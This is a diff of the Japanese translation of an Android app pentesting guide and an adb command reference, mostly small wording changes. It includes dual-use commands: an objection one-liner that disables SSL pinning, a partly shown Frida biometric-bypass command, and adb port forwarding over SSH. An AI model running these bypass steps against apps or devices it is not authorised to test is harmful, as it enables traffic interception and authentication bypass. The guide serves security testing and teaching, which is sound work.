- **プライベート情報の漏洩**は、アプリケーションが安全なチャネルを使用して認証するが、他のトランザクションのために非安全なチャネルで通信する場合にリスクがあります。このアプローチは、セッションクッキーやユーザーの詳細などの機密データを悪意のあるエンティティによる傍受から保護できません。 - **プライベート情報の漏洩**は、アプリケーションが安全なチャネルを使用して認証するが、他のトランザクションのために非安全なチャネルで通信する場合にリスクがあります。このアプローチは、セッションクッキーやユーザーの詳細などの機密データを悪意のあるエンティティによる傍受から保護できません。
@ -403,7 +403,7 @@ SSLピンニングは、アプリケーションがサーバーの証明書を
#### トラフィック検査 #### トラフィック検査
HTTPトラフィックを検査するには、**プロキシツールの証明書をインストールする必要があります**Burp。この証明書をインストールしないと、暗号化されたトラフィックプロキシを通じて表示されない可能性があります。カスタムCA証明書のインストールに関するガイドは、[**こちらをクリック**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)してください。 HTTPトラフィックを検査するには、**プロキシツールの証明書をインストールする必要があります**Burp。この証明書をインストールしないと、暗号化されたトラフィックプロキシを通じて表示されない可能性があります。カスタムCA証明書のインストールに関するガイドは、[**こちらをクリック**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)してください。
**APIレベル24以上**をターゲットとするアプリケーションは、プロキシのCA証明書を受け入れるためにネットワークセキュリティ構成を変更する必要があります。このステップは、暗号化されたトラフィックを検査するために重要です。ネットワークセキュリティ構成の変更に関する指示は、[**このチュートリアルを参照**](make-apk-accept-ca-certificate.md)してください。 **APIレベル24以上**をターゲットとするアプリケーションは、プロキシのCA証明書を受け入れるためにネットワークセキュリティ構成を変更する必要があります。このステップは、暗号化されたトラフィックを検査するために重要です。ネットワークセキュリティ構成の変更に関する指示は、[**このチュートリアルを参照**](make-apk-accept-ca-certificate.md)してください。
@ -412,9 +412,9 @@ HTTPトラフィックを検査するには、**プロキシツールの証明
SSLピンニングが実装されている場合、HTTPSトラフィックを検査するためにそれをバイパスする必要があります。この目的のためにさまざまな方法があります SSLピンニングが実装されている場合、HTTPSトラフィックを検査するためにそれをバイパスする必要があります。この目的のためにさまざまな方法があります
- 自動的に**apkを修正**して**SSLピンニングをバイパス**するには、[**apk-mitm**](https://github.com/shroudedcode/apk-mitm)を使用します。このオプションの最大の利点は、SSLピンニングをバイパスするためにrootが必要ないことですが、アプリケーションを削除して新しいものを再インストールする必要があり、これが常に機能するわけではありません。 - 自動的に**apkを修正**して**SSLピンニングをバイパス**するには、[**apk-mitm**](https://github.com/shroudedcode/apk-mitm)を使用します。このオプションの最大の利点は、SSLピンニングをバイパスするためにrootが必要ないことですが、アプリケーションを削除して新しいものを再インストールする必要があり、これが常に機能するわけではありません。
- **Frida**を使用してこの保護をバイパスすることもできます(以下で説明)。Burp+Frida+Genymotionを使用するためのガイドはこちらです[https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) - **Frida**(下記で説明)を使用してこの保護をバイパスすることもできます。Burp+Frida+Genymotionを使用するためのガイドはこちらです[https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- **objection**を使用して**SSLピンニングを自動的にバイパス**することもできます:`objection --gadget com.package.app explore --startup-command "android sslpinning disable"` - **objection**を使用して**SSLピンニングを自動的にバイパス**することもできます:`objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- **MobSF動的分析**を使用して**SSLピンニングを自動的にバイパス**することも試みることができます(下で説明)。 - **MobSF動的分析**を使用して**SSLピンニングを自動的にバイパス**することも試みることができます(下で説明)。
- まだキャプチャしていないトラフィックがあると思われる場合は、**iptablesを使用してトラフィックをburpに転送**することを試みることができます。このブログを読んでください:[https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) - まだキャプチャしていないトラフィックがあると思われる場合は、**iptablesを使用してトラフィックをburpに転送**することを試みることができます。このブログを読んでください:[https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
#### 一般的なWeb脆弱性の検索 #### 一般的なWeb脆弱性の検索
@ -468,13 +468,13 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
``` ```
### **バックグラウンド画像** ### **バックグラウンド画像**
アプリケーションをバックグラウンドに置くと、Androidはアプリケーションの**スナップショット**を保存します。これにより、フォアグラウンドに復帰したときにアプリの前に画像が読み込まれ、アプリがより速く読み込まれたように見えます。 アプリケーションをバックグラウンドに置くと、Androidはアプリケーションの**スナップショット**を保存します。これにより、フォアグラウンドに復帰したときにアプリがより早く読み込まれているように見えます。
しかし、このスナップショットに**機密情報**が含まれている場合、スナップショットにアクセスできる誰かがその情報を**盗む**可能性がありますアクセスするにはrootが必要です しかし、このスナップショットに**機密情報**が含まれている場合、スナップショットにアクセスできる誰かがその情報を**盗む**可能性がありますアクセスするにはrootが必要です
スナップショットは通常、次の場所に保存されます: **`/data/system_ce/0/snapshots`** スナップショットは通常、次の場所に保存されます: **`/data/system_ce/0/snapshots`**
Androidは、FLAG_SECUREレイアウトパラメータを設定することで**スクリーンショットのキャプチャを防ぐ**方法を提供します。このフラグを使用すると、ウィンドウの内容は安全と見なされ、スクリーンショットに表示されたり、非安全なディスプレイで表示されたりするを防ぎます。 Androidは、**FLAG_SECURE**レイアウトパラメータを設定することで、スクリーンショットのキャプチャを**防ぐ**方法を提供します。このフラグを使用すると、ウィンドウの内容は安全と見なされ、スクリーンショットに表示されたり、非安全なディスプレイで表示されたりすることを防ぎます。
```bash ```bash
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE); getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
``` ```
@ -491,13 +491,13 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
### Essential Takeaways ### Essential Takeaways
- **Intent Injection**は、ウェブのオープンリダイレクト問題に似ています。 - **Intent Injection**は、ウェブのオープンリダイレクト問題に似ています。
- 脆弱性は、`Intent`オブジェクトをエクストラとして渡すことに関与し、これが不安全な操作を実行するためにリダイレクトされる可能性があります。 - 脆弱性は、`Intent`オブジェクトをエクストラとして渡すことに関与し、これが不な操作を実行するためにリダイレクトされる可能性があります。
- 攻撃者に非エクスポートコンポーネントやコンテンツプロバイダーを露出させる可能性があります。 - 攻撃者に非エクスポートコンポーネントやコンテンツプロバイダーを露出させる可能性があります。
- `WebView`のURLから`Intent`への変換は、意図しないアクションを促進する可能性があります。 - `WebView`のURLから`Intent`への変換は、意図しないアクションを促進する可能性があります。
### Android Client Side Injections and others ### Android Client Side Injections and others
おそらく、あなたはこの種の脆弱性をウェブから知っているでしょう。Androidアプリケーションにおいては、これらの脆弱性に特に注意する必要があります おそらく、あなたはウェブからこの種の脆弱性について知っているでしょう。Androidアプリケーションにおいては、これらの脆弱性に特に注意する必要があります
- **SQL Injection:** 動的クエリやコンテンツプロバイダーを扱う際は、パラメータ化されたクエリを使用していることを確認してください。 - **SQL Injection:** 動的クエリやコンテンツプロバイダーを扱う際は、パラメータ化されたクエリを使用していることを確認してください。
- **JavaScript Injection (XSS):** すべてのWebViewに対してJavaScriptとプラグインのサポートが無効になっていることを確認してくださいデフォルトで無効。 [More info here](webview-attacks.md#javascript-enabled). - **JavaScript Injection (XSS):** すべてのWebViewに対してJavaScriptとプラグインのサポートが無効になっていることを確認してくださいデフォルトで無効。 [More info here](webview-attacks.md#javascript-enabled).
@ -523,14 +523,14 @@ docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
MobSFは**Android**(apk)**、IOS**(ipa) **およびWindows**(apx)アプリケーションを分析できます_WindowsアプリケーションはWindowsホストにインストールされたMobSFから分析する必要があります_。\ MobSFは**Android**(apk)**、IOS**(ipa) **およびWindows**(apx)アプリケーションを分析できます_WindowsアプリケーションはWindowsホストにインストールされたMobSFから分析する必要があります_。\
また、**Android**または**IOS**アプリのソースコードを含む**ZIP**ファイルを作成するとアプリケーションのルートフォルダーに移動し、すべてを選択してZIPファイルを作成、それも分析できます。 また、**Android**または**IOS**アプリのソースコードを含む**ZIP**ファイルを作成するとアプリケーションのルートフォルダーに移動し、すべてを選択してZIPファイルを作成、それも分析できます。
MobSFは**diff/Compare**分析を行い、**VirusTotal**を統合することもできま_MobSF/settings.py_にAPIキーを設定し、`VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`を有効にする必要があります)。`VT_UPLOAD``False`に設定すると、**ハッシュ**がファイルの代わりに**アップロード**されます。 MobSFは**diff/Compare**分析を行い、**VirusTotal**を統合することも可能です_MobSF/settings.py_にAPIキーを設定し、`VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`を有効にする必要があります)。`VT_UPLOAD``False`に設定すると、**ハッシュ**がファイルの代わりに**アップロード**されます。
### MobSFによる支援された動的分析 ### MobSFによる支援された動的分析
**MobSF**は**Android**における**動的分析**にも非常に役立ちますが、その場合はホストにMobSFと**genymotion**をインストールする必要がありますVMやDockerでは動作しません。_注最初に**genymotionでVMを起動**し、**その後MobSFを起動する必要があります。**_\ **MobSF**は**Android**における**動的分析**にも非常に役立ちますが、その場合はホストにMobSFと**genymotion**をインストールする必要がありますVMやDockerでは動作しません。_注最初に**genymotionでVMを起動**し、**その後MobSFを起動する必要があります。_\
**MobSF動的アナライザー**は以下を行うことができます: **MobSF動的アナライザー**は以下を行うことができます:
- **アプリケーションデータをダンプ**URL、ログ、クリップボード、あなたが撮ったスクリーンショット、"**Exported Activity Tester**"によって作成されたスクリーンショット、メール、SQLiteデータベース、XMLファイル、その他の作成されたファイル。これらはすべて自動的に行われますが、スクリーンショットは撮りたいときにボタンを押す必要があります。または、すべてのエクスポートされたアクティビティのスクリーンショットを取得するために"**Exported Activity Tester**"を押す必要があります。 - **アプリケーションデータをダンプ**URL、ログ、クリップボード、あなたが撮ったスクリーンショット、"**Exported Activity Tester**"によって作成されたスクリーンショット、メール、SQLiteデータベース、XMLファイル、その他の作成されたファイル。これらはすべて自動的に行われますが、スクリーンショットは撮りたいときにボタンを押す必要があります。または、すべてのエクスポートされたアクティビティのスクリーンショットを取得するに"**Exported Activity Tester**"を押す必要があります。
- **HTTPSトラフィックをキャプチャ** - **HTTPSトラフィックをキャプチャ**
- **Frida**を使用して**ランタイム** **情報**を取得 - **Frida**を使用して**ランタイム** **情報**を取得
@ -542,7 +542,7 @@ Androidの**バージョン > 5**では、**Frida**が**自動的に起動**し
MobSFはまた、**エクスポートされたアクティビティを呼び出し**、それらの**スクリーンショットを取得**し、レポート用に**保存**することもできます。 MobSFはまた、**エクスポートされたアクティビティを呼び出し**、それらの**スクリーンショットを取得**し、レポート用に**保存**することもできます。
動的テストを**開始**するには、緑のボタン"**Start Instrumentation**"を押します。"**Frida Live Logs**"を押すとFridaスクリプトによって生成されたログが表示され、"**Live API Monitor**"を押すとフックされたメソッドへのすべての呼び出し、渡された引数、返された値が表示されます(これは"Start Instrumentation"を押した後に表示されます)。\ 動的テストを**開始**するには、緑のボタン"**Start Instrumentation**"を押します。"**Frida Live Logs**"を押すとFridaスクリプトによって生成されたログが表示され、"**Live API Monitor**"を押すとフックされたメソッドへのすべての呼び出し、渡された引数、返された値が表示されます(これは"Start Instrumentation"を押した後に表示されます)。\
MobSFは自分の**Fridaスクリプト**を読み込むこともできますFridaスクリプトの結果をMobSFに送信するには`send()`関数を使用します)。また、読み込むことができる**いくつかの事前に書かれたスクリプト**もあります(`MobSF/DynamicAnalyzer/tools/frida_scripts/others/`に追加できます)、それらを**選択**し、"**Load**"を押し"**Start Instrumentation**"を押すと、そのスクリプトのログが"**Frida Live Logs**"内に表示されます。 MobSFは自分の**Fridaスクリプト**を読み込むこともできますFridaスクリプトの結果をMobSFに送信するには`send()`関数を使用します)。また、読み込むことができる**いくつかの事前に書かれたスクリプト**もあります(`MobSF/DynamicAnalyzer/tools/frida_scripts/others/`さらに追加できます)、それらを**選択**し、"**Load**"を押し"**Start Instrumentation**"を押すと、そのスクリプトのログが"**Frida Live Logs**"内に表示されます。
![](<../../images/image (419).png>) ![](<../../images/image (419).png>)
@ -553,7 +553,7 @@ MobSFは自分の**Fridaスクリプト**を読み込むこともできます(
- **文字列比較をキャプチャ**:非常に役立つ可能性があります。**比較されている2つの文字列**と結果がTrueかFalseかを**表示**します。 - **文字列比較をキャプチャ**:非常に役立つ可能性があります。**比較されている2つの文字列**と結果がTrueかFalseかを**表示**します。
- **クラスメソッドを列挙**:クラス名(例:"java.io.File")を入力すると、そのクラスのすべてのメソッドが表示されます。 - **クラスメソッドを列挙**:クラス名(例:"java.io.File")を入力すると、そのクラスのすべてのメソッドが表示されます。
- **クラスパターンを検索**:パターンでクラスを検索 - **クラスパターンを検索**:パターンでクラスを検索
- **クラスメソッドをトレース****クラス全体をトレース**クラスのすべてのメソッドの入力と出力を確認。デフォルトではMobSFは興味深いAndroid APIメソッドをいくつかトレースします。 - **クラスメソッドをトレース****全体のクラスをトレース**そのクラスのすべてのメソッドの入力と出力を確認。デフォルトではMobSFは興味深いAndroid APIメソッドをいくつかトレースします。
使用したい補助モジュールを選択したら、"**Start Intrumentation**"を押すと、すべての出力が"**Frida Live Logs**"に表示されます。 使用したい補助モジュールを選択したら、"**Start Intrumentation**"を押すと、すべての出力が"**Frida Live Logs**"に表示されます。
@ -571,7 +571,7 @@ receivers
**HTTPツール** **HTTPツール**
HTTPトラフィックがキャプチャされると、"**HTTP(S) Traffic**"の下にキャプチャされたトラフィックの醜いビューが表示されるか、"**Start HTTPTools**"の緑のボタンでより良いビューが表示されます。2番目のオプションから、**キャプチャされたリクエスト**を**プロキシ**BurpやOwasp ZAPなどに**送信**できます。\ HTTPトラフィックがキャプチャされると、"**HTTP(S) Traffic**"の下にキャプチャされたトラフィックの醜いビューが表示されるか、"**Start HTTPTools**"の緑のボタンでより良いビューが表示されます。2番目のオプションから、**キャプチャされたリクエスト**を**プロキシ**BurpやOwasp ZAPなどに**送信**できます。\
そのためには、_Burpを起動 -->_ _インターセプトをオフにする --> MobSBHTTPToolsでリクエストを選択_ --> "**Send to Fuzzer**"を押す --> _プロキシアドレスを選択_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))。 そのためには、_Burpを起動 -->_ _インターセプトをオフにする --> MobSB HTTPToolsでリクエストを選択_ --> "**Send to Fuzzer**"を押す --> _プロキシアドレスを選択_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))。
MobSFで動的分析を終えたら、"**Start Web API Fuzzer**"を押して**HTTPリクエストをファズ**し、脆弱性を探すことができます。 MobSFで動的分析を終えたら、"**Start Web API Fuzzer**"を押して**HTTPリクエストをファズ**し、脆弱性を探すことができます。
@ -631,7 +631,7 @@ StaCoAnは、開発者、バグバウンティハンター、倫理的ハッカ
コンセプトは、モバイルアプリケーションファイル(.apkまたは.ipaファイルをStaCoAnアプリケーションにドラッグアンドドロップすると、視覚的でポータブルなレポートが生成されるというものです。設定やワードリストを調整して、カスタマイズされた体験を得ることができます。 コンセプトは、モバイルアプリケーションファイル(.apkまたは.ipaファイルをStaCoAnアプリケーションにドラッグアンドドロップすると、視覚的でポータブルなレポートが生成されるというものです。設定やワードリストを調整して、カスタマイズされた体験を得ることができます。
ダウンロード[最新リリース](https://github.com/vincentcox/StaCoAn/releases): [最新リリースをダウンロード](https://github.com/vincentcox/StaCoAn/releases):
``` ```
./stacoan ./stacoan
``` ```
@ -647,9 +647,9 @@ androbugs.exe -f [APK file]
**Androwarn**は、Androidアプリケーションによって開発された潜在的な悪意のある動作を検出し、ユーザーに警告することを主な目的としたツールです。 **Androwarn**は、Androidアプリケーションによって開発された潜在的な悪意のある動作を検出し、ユーザーに警告することを主な目的としたツールです。
検出は、アプリケーションのDalvikバイトコードの**静的分析**を使用して行われ、**Smali**として表現されます。 [`androguard`](https://github.com/androguard/androguard)ライブラリを使用しています。 検出は、アプリケーションのDalvikバイトコードを**Smali**として表現した**静的分析**によって行われ、[`androguard`](https://github.com/androguard/androguard)ライブラリを使用します。
このツールは、次のような**「悪い」アプリケーションの一般的な動作**を探しますテレフォニー識別子の流出、音声/ビデオフローの傍受、PIMデータの変更、任意のコード実行... このツールは、次のような**「悪い」アプリケーションの一般的な動作**を探します: テレフォニー識別子の流出、音声/ビデオフローの傍受、PIMデータの変更、任意のコード実行...
``` ```
python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
``` ```
@ -657,7 +657,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
![](<../../images/image (595).png>) ![](<../../images/image (595).png>)
**MARA**は**モバイルアプリケーションの逆コンパイルおよび分析フレームワーク**です。これは、OWASPモバイルセキュリティ脅威に対してモバイルアプリケーションをテストするために、一般的に使用されるモバイルアプリケーションの逆コンパイルおよび分析ツールをまとめたツールです。その目的は、この作業をモバイルアプリケーションの開発者やセキュリティ専門家にとってより簡単で親しみやすくすることです。 **MARA**は**モバイルアプリケーションの逆アセンブルおよび分析フレームワーク**です。これは、OWASPモバイルセキュリティ脅威に対してモバイルアプリケーションをテストするために、一般的に使用されるモバイルアプリケーションの逆アセンブルおよび分析ツールをまとめたツールです。その目的は、この作業をモバイルアプリケーションの開発者やセキュリティ専門家にとってより簡単で親しみやすくすることです。
以下のことが可能です: 以下のことが可能です:
@ -674,11 +674,11 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
## コードの難読化/デオブフスケート ## コードの難読化/デオブフスケート
使用するサービスと構成によって、コードを難読化する際に秘密が難読化される場合とされない場合があります。 使用するサービスと設定によって、コードを難読化する際に秘密が難読化される場合とされない場合があります。
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>) ### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
[Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>より): **ProGuard**は、Javaコードを縮小、最適化、難読化するオープンソースのコマンドラインツールです。バイトコードを最適化し、未使用の命令を検出して削除することができます。ProGuardはフリーソフトウェアで、GNU一般公衆ライセンスバージョン2の下で配布されています。 [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>より): **ProGuard**は、Javaコードを縮小、最適化、難読化するオープンソースのコマンドラインツールです。バイトコードを最適化し、未使用の命令を検出して削除することができます。ProGuardはフリーソフトウェアで、GNU一般公衆ライセンス第2版の下で配布されています。
ProGuardはAndroid SDKの一部として配布され、アプリケーションをリリースモードでビルドする際に実行されます。 ProGuardはAndroid SDKの一部として配布され、アプリケーションをリリースモードでビルドする際に実行されます。
@ -696,7 +696,7 @@ APKをデオブフスケートするためのステップバイステップガ
### [DeGuard](http://apk-deguard.com) ### [DeGuard](http://apk-deguard.com)
**DeGuardは、Androidの難読化ツールによって行われた難読化プロセスを逆転させます。これにより、コード検査やライブラリの予測を含む多数のセキュリティ分析が可能になります。** **DeGuardは、Androidの難読化ツールによって行われた難読化プロセスを逆転させます。これにより、コード検査やライブラリの予測など、数多くのセキュリティ分析が可能になります。**
難読化されたAPKを彼らのプラットフォームにアップロードできます。 難読化されたAPKを彼らのプラットフォームにアップロードできます。
@ -714,13 +714,13 @@ APKiDは**APKがどのように作成されたか**に関する情報を提供
### マニュアル ### マニュアル
[カスタム難読化を逆コンパイルする方法についてのトリックを学ぶためにこのチュートリアルを読んでください](manual-deobfuscation.md) [カスタム難読化を逆転させる方法についてのトリックを学ぶためにこのチュートリアルを読んでください](manual-deobfuscation.md)
## ラボ ## ラボ
### [Androl4b](https://github.com/sh4hin/Androl4b) ### [Androl4b](https://github.com/sh4hin/Androl4b)
AndroL4bは、Ubuntu-mateに基づいたAndroidセキュリティ仮想マシンで、リバースエンジニアリングとマルウェア分析のための最新のフレームワーク、チュートリアル、さまざまなセキュリティ専門家や研究者からのラボのコレクションを含んでいます。 AndroL4bは、Ubuntu-mateに基づいたAndroidセキュリティ仮想マシンで、リバースエンジニアリングとマルウェア分析のための最新のフレームワーク、チュートリアル、ラボのコレクションを含んでいます。
## 参考文献 ## 参考文献

View File

@ -1,4 +1,4 @@
**Adbは通常次の場所にあります:** **Adbは通常次の場所にあります**
```bash ```bash
#Windows #Windows
C:\Users\<username>\AppData\Local\Android\sdk\platform-tools\adb.exe C:\Users\<username>\AppData\Local\Android\sdk\platform-tools\adb.exe
@ -12,9 +12,9 @@ C:\Users\<username>\AppData\Local\Android\sdk\platform-tools\adb.exe
``` ```
adb devices adb devices
``` ```
接続されているデバイスのリストを表示します。"_**unauthorized**_" が表示される場合は、**モバイル**の**ロックを解除**し、接続を**受け入れる**必要があります。 接続されているデバイスをリストします。"_**unauthorized**_" が表示される場合、これは **モバイル****ロックを解除** し、接続を **受け入れる** 必要があることを意味します。
これはデバイスに、ポート 5555 で adb サーバーを起動する必要があることを示します これはデバイスに、ポート 5555 で adb サーバーを起動する必要があることを示します
``` ```
adb tcpip 5555 adb tcpip 5555
``` ```
@ -22,7 +22,7 @@ adb tcpip 5555
``` ```
adb connect <IP>:<PORT> adb connect <IP>:<PORT>
``` ```
以下のようなエラーが仮想AndroidソフトウェアGenymotionなどで発生した場合 以下のようなエラーがVirtual AndroidソフトウェアGenymotionなどで発生した場合
``` ```
adb server version (41) doesn't match this client (36); killing... adb server version (41) doesn't match this client (36); killing...
``` ```
@ -30,7 +30,7 @@ adb server version (41) doesn't match this client (36); killing...
## 複数のデバイス ## 複数のデバイス
**複数のデバイスがあなたのマシンに接続されている**場合は、どのデバイスでadbコマンドを実行するかを**指定する必要があります**。 **複数のデバイスがあなたのマシンに接続されている**場合は、どのデバイスでadbコマンドを実行したいかを**指定する必要があります**。
```bash ```bash
adb devices adb devices
List of devices attached List of devices attached
@ -45,7 +45,7 @@ root
``` ```
## ポートトンネリング ## ポートトンネリング
Androidデバイスで**adb** **ポート**が**localhost**からのみ**アクセス可能**な場合、**SSH経由でアクセス**できるなら、**ポート5555を転送**してadb経由で接続できます: Androidデバイスで**adb** **ポート**が**localhost**からのみ**アクセス可能**な場合、しかし**SSH経由でアクセス**できる場合は、**ポート5555を転送**してadb経由で接続できます
```bash ```bash
ssh -i ssh_key username@10.10.10.10 -L 5555:127.0.0.1:5555 -p 2222 ssh -i ssh_key username@10.10.10.10 -L 5555:127.0.0.1:5555 -p 2222
adb connect 127.0.0.1:5555 adb connect 127.0.0.1:5555
@ -136,7 +136,7 @@ adb shell screencap /sdcard/screen.png
``` ```
### adb shell screenrecord \[options] \<filename> ### adb shell screenrecord \[options] \<filename>
Android 4.4APIレベル19以降を実行しているデバイスの画面を録画します。 Android 4.4 (APIレベル19) 以上のデバイスの画面を録画します。
```bash ```bash
adb shell screenrecord /sdcard/demo.mp4 adb shell screenrecord /sdcard/demo.mp4
adb shell screenrecord --size <WIDTHxHEIGHT> adb shell screenrecord --size <WIDTHxHEIGHT>
@ -145,13 +145,13 @@ adb shell screenrecord --time-limit <TIME> #Sets the maximum recording time, in
adb shell screenrecord --rotate # Rotates 90 degrees adb shell screenrecord --rotate # Rotates 90 degrees
adb shell screenrecord --verbose adb shell screenrecord --verbose
``` ```
(録画を停止するにはCtrl-Cを押してください) (press Ctrl-C to stop recording)
**_**adb pull**_を使用してファイル(画像や動画)をダウンロードできます** **ファイル(画像や動画)を **_**adb pull**_ を使用してダウンロードできます**
# シェル # シェル
### adb シェル ### adb shell
デバイス内でシェルを取得します デバイス内でシェルを取得します
```bash ```bash
@ -202,7 +202,7 @@ flashing/restoring Android update.zip パッケージ。
## Logcat ## Logcat
特定のアプリケーションのメッセージのみを**フィルタリングするには**、アプリケーションのPIDを取得し、grep (linux/macos) または findstr (windows) を使用してlogcatの出力をフィルタリングします **特定のアプリケーションのメッセージのみをフィルタリングするには**、アプリケーションのPIDを取得し、grep (linux/macos) または findstr (windows) を使用してlogcatの出力をフィルタリングします
```bash ```bash
adb logcat | grep 4526 adb logcat | grep 4526
adb logcat | findstr 4526 adb logcat | findstr 4526
@ -257,7 +257,7 @@ adb shell dumpsys meminfo
adb shell dumpsys battery adb shell dumpsys battery
``` ```
ノート: 開発者オプションが有効になっているAndroid 5.0以上を実行しているモバイルデバイス。 ノート: Android 5.0 以上を実行している開発者オプションが有効なモバイルデバイス。
```bash ```bash
adb shell dumpsys batterystats collects battery data from your device adb shell dumpsys batterystats collects battery data from your device
``` ```

View File

@ -25,10 +25,10 @@ Android 5.0(L)以降、**SELinux**が強制されます。基本的に、SELinux
### Permissions ### Permissions
アプリをインストールするときに**アプリが権限を要求する**場合、アプリは**AndroidManifest.xml**ファイル内の**`uses-permission`**要素に設定された権限を要求しています。**uses-permission**要素は、**name**属性内で要求された権限の名前を示します。また、**maxSdkVersion**属性もあり、指定されたバージョンよりも高いバージョンでは権限の要求を停止します。\ アプリをインストールするときに**アプリが権限を要求する**場合、アプリは**AndroidManifest.xml**ファイル内の**`uses-permission`**要素に設定された権限を要求しています。**uses-permission**要素は、**name**属性内で要求された権限の名前を示します。また、**maxSdkVersion**属性があり、指定されたバージョンよりも高いバージョンでは権限を要求しなくなります。\
Androidアプリケーションは最初にすべての権限を要求する必要はなく、**動的に権限を要求することもできます**が、すべての権限は**マニフェストで宣言されなければなりません**。 Androidアプリケーションは最初にすべての権限を要求する必要はなく、**動的に権限を要求することもできます**が、すべての権限は**マニフェストに宣言されている必要があります**。
アプリが機能を公開する際には、**特定の権限を持つアプリのみがアクセスできるように制限することができます**。\ アプリが機能を公開する場合、**特定の権限を持つアプリのみがアクセスできるように制限できます**。\
権限要素には三つの属性があります: 権限要素には三つの属性があります:
- 権限の**name** - 権限の**name**
@ -49,10 +49,10 @@ Androidアプリケーションは最初にすべての権限を要求する必
## Rooting ## Rooting
物理的なAndroidデバイスにルートアクセスを取得するには、一般的に**1つまたは2つの脆弱性を**利用する必要があります。これらは通常、**デバイス**および**バージョン**に特有です。\ 物理的なAndroidデバイスにルートアクセスを取得するには、一般的に**1つまたは2つの脆弱性を**利用する必要があります。これらは**デバイス**および**バージョン**に特有であることが多いです。\
エクスプロイトが成功すると、通常、Linuxの`su`バイナリがユーザーのPATH環境変数指定された場所(例:`/system/xbin`)にコピーされます。 エクスプロイトが成功すると、通常、Linuxの`su`バイナリがユーザーのPATH環境変数指定された場所(例:`/system/xbin`)にコピーされます。
suバイナリが設定されると、別のAndroidアプリが`su`バイナリとインターフェースし、**ルートアクセスのリクエストを処理**します**Superuser**や**SuperSU**など、Google Playストアで入手可能 suバイナリが設定されると、別のAndroidアプリが`su`バイナリとインターフェースし、**ルートアクセスのリクエストを処理**します。例えば、**Superuser**や**SuperSU**Google Playストアで入手可能などです
> [!CAUTION] > [!CAUTION]
> ルート化プロセスは非常に危険であり、デバイスに深刻な損傷を与える可能性があることに注意してください。 > ルート化プロセスは非常に危険であり、デバイスに深刻な損傷を与える可能性があることに注意してください。
@ -60,7 +60,7 @@ suバイナリが設定されると、別のAndroidアプリが`su`バイナリ
### ROMs ### ROMs
**カスタムファームウェアをインストールしてOSを置き換えることが可能です**。これにより、古いデバイスの有用性を拡張したり、ソフトウェア制限を回避したり、最新のAndroidコードにアクセスしたりできます。\ **カスタムファームウェアをインストールしてOSを置き換えることが可能です**。これにより、古いデバイスの有用性を拡張したり、ソフトウェア制限を回避したり、最新のAndroidコードにアクセスしたりできます。\
**OmniROM****LineageOS**は、使用するための最も人気のあるファームウェアの二つです。 **OmniROM****LineageOS**は、使用するための最も人気のあるファームウェアの二つです。
**カスタムファームウェアをインストールするためにデバイスをルート化する必要はない**ことに注意してください。**一部の製造元は**、文書化され、安全な方法でブートローダーのロック解除を許可しています。 **カスタムファームウェアをインストールするためにデバイスをルート化する必要はない**ことに注意してください。**一部の製造元は**、文書化され、安全な方法でブートローダーのロック解除を許可しています。
@ -99,7 +99,7 @@ Android開発では、**JavaまたはKotlin**がアプリ作成に使用され
## Intents ## Intents
インテントは、Androidアプリがそのコンポーネント間または他のアプリと通信するための主要な手段です。これらのメッセージオブジェクトは、アプリ間コンポーネント間でデータを運ぶこともでき、HTTP通信でのGET/POSTリクエストのように機能します。 インテントは、Androidアプリがそのコンポーネント間または他のアプリと通信するための主要な手段です。これらのメッセージオブジェクトは、アプリ間またはコンポーネント間でデータを運ぶこともでき、HTTP通信でのGET/POSTリクエストのように機能します。
したがって、インテントは基本的に**コンポーネント間で渡されるメッセージ**です。インテントは**特定のコンポーネントやアプリに向けられる**ことも、**特定の受取人なしで送信される**こともできます。\ したがって、インテントは基本的に**コンポーネント間で渡されるメッセージ**です。インテントは**特定のコンポーネントやアプリに向けられる**ことも、**特定の受取人なしで送信される**こともできます。\
簡単に言えば、インテントは次のように使用できます: 簡単に言えば、インテントは次のように使用できます:
@ -118,7 +118,7 @@ Android開発では、**JavaまたはKotlin**がアプリ作成に使用され
インテントフィルターは、カテゴリ、アクション、およびデータフィルターで構成され、追加のメタデータを含めることができます。この設定により、コンポーネントは宣言された基準に一致する特定のインテントを処理できます。 インテントフィルターは、カテゴリ、アクション、およびデータフィルターで構成され、追加のメタデータを含めることができます。この設定により、コンポーネントは宣言された基準に一致する特定のインテントを処理できます。
